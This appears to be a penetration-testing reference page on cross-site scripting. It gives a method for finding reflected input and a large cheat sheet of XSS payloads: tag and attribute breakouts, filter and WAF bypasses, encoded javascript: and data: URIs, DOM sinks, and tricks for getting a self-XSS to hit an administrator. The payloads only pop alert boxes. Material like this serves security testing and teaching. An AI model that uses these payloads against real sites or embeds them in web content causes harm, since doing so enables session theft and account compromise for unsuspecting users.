Skip to main content
Cross-Site Scripting (XSS) allows attackers to inject and execute arbitrary JavaScript in a victim’s browser. Understanding the context where your input is reflected is key to crafting effective payloads.

Methodology

1

Find Reflected Values

Check if any value you control (parameters, path, headers, cookies) is being reflected in the HTML or used by JS code.
2

Identify the Context

Determine where the input is reflected: raw HTML, inside an HTML tag attribute, inside JavaScript code, or inside a JavaScript function call.
3

Craft the Payload

Depending on the context, prepare a payload that breaks out and executes JS. Test which symbols are available.
4

Test for DOM XSS

Check if your controlled input is used by any JavaScript sink like location.href, document.write, or innerHTML.

Types of XSS

Reflected XSS

The payload is immediately reflected in the HTTP response. The server echoes user input directly into the page.

Stored XSS

The payload is stored server-side and reflected to all users who view the page.

DOM XSS

The vulnerability exists in client-side code that processes attacker-controlled data (e.g., location.hash).

Injecting Inside Raw HTML

When your input is reflected in the raw HTML page, use HTML tags to execute JS:
<script>alert(1)</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
If tags are blacklisted, brute-force which tags are allowed. Use PortSwigger’s XSS cheat sheet to copy all tags and test via Burp Intruder.

Blacklist Bypasses

// Random capitalization
<ScrIpT>alert(1)</ScrIpT>
<ImG src=x onerror=alert(1)>

// Double tags (in case first match is removed)
<scr<script>ipt>alert(1)</scr</script>ipt>

// Space substitutions
<svg/onload=alert(1)>
<svg%09onload=alert(1)>

// Backtick instead of parenthesis
onerror=alert`1`

Injecting Inside HTML Tag Attributes

If your input is reflected inside an attribute value:
# Escape the attribute and tag
"><img src=x onerror=alert(1)>

# Create events if you can't escape the tag
" autofocus onfocus=alert(document.domain) x="

# Use javascript: protocol in href
href="javascript:alert(1)"

Bypass Inside Event Using Encoding

// HTML entities inside attribute values are decoded at runtime
<a onclick="var x='&apos;-alert(1)-&apos;'">click</a>

// Any HTML encode form is valid
&apos;-alert(1)-&apos;
&#x27-alert(1)-&#x27
&#39-alert(1)-&#39

Special Protocols

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29   // URL encoded
java        // Note newline
script:alert(1)

data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=

Injecting Inside JavaScript Code

When your input lands inside <script> tags or a .js file:
// Escape the script tag
</script><img src=1 onerror=alert(document.domain)>

// Escape a JS string
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template Literals

// If input is inside backtick string, use ${ }
var greeting = `Hello, ${alert(1)}`

// Template literal injection
;`${alert(1)}`

JS-in-JS String Break Pattern

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume string

JavaScript Without Parentheses

// Backticks
alert`1`

// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29"

// valueOf / toString
valueOf=alert;window+''

// Has instance symbol
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}

Blacklist Bypass Techniques

"string"              // double quotes
'string'              // single quotes
`string`              // backticks
String.fromCharCode(116,104,105,115)
atob("dGhpcw==")      // base64
"\x74\x68\x69\x73"   // hex
"\164\150\151\163"   // octal
"\u0074\u0068\u0069\u0073" // unicode

DOM XSS Sinks

Common dangerous sinks that lead to DOM XSS:
document.write()
document.writeln()
innerHTML =
outerHTML =
insertAdjacentHTML()
location.href =
location =
eval()
setTimeout("...", ...)
setInterval("...", ...)

WAF Bypass with Encoding

Combining URLencode + HTMLencode in any order to encode the full payload won’t work, but you can mix them inside the payload.
<!-- Unicode bypass -->
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />

<!-- PHP FILTER_VALIDATE_EMAIL bypass -->
"><svg/onload=confirm(1)>"@x.y

<!-- Special combinations -->
<iframe/src="data:text/html,<svg onload=alert(1)>">
<svg id=x;onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>

XSS in Hidden Inputs & Meta Tags

<!-- Popover API trick -->
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

<!-- Meta tag injection -->
<meta name="apple-mobile-web-app-title" content="" Twitter popover id="newsletter" onbeforetoggle="alert(2)" />

<!-- Hidden input with accesskey -->
<input type="hidden" accesskey="X" onclick="alert(1)">
<!-- Payload: " accesskey="x" onclick="alert(1)" x=" -->

Upgrading Self-XSS

  • Cookie XSS: If you can set cookies on a subdomain, use cookie tossing to trigger XSS on the main domain.
  • Sending to Admin: If a user can share a profile with an admin, store the XSS in the profile.
  • Session Mirroring: Exploit session mirroring features to make an admin trigger your self-XSS.

Universal XSS

Universal XSS can be found anywhere — they don’t depend solely on a single web application. Examples include:
  • Server-Side XSS in dynamic PDFs
  • XSS in Electron desktop apps (can lead to RCE)
  • XSS through WASM linear-memory template overwrite

Tools

Build docs developers (and LLMs) love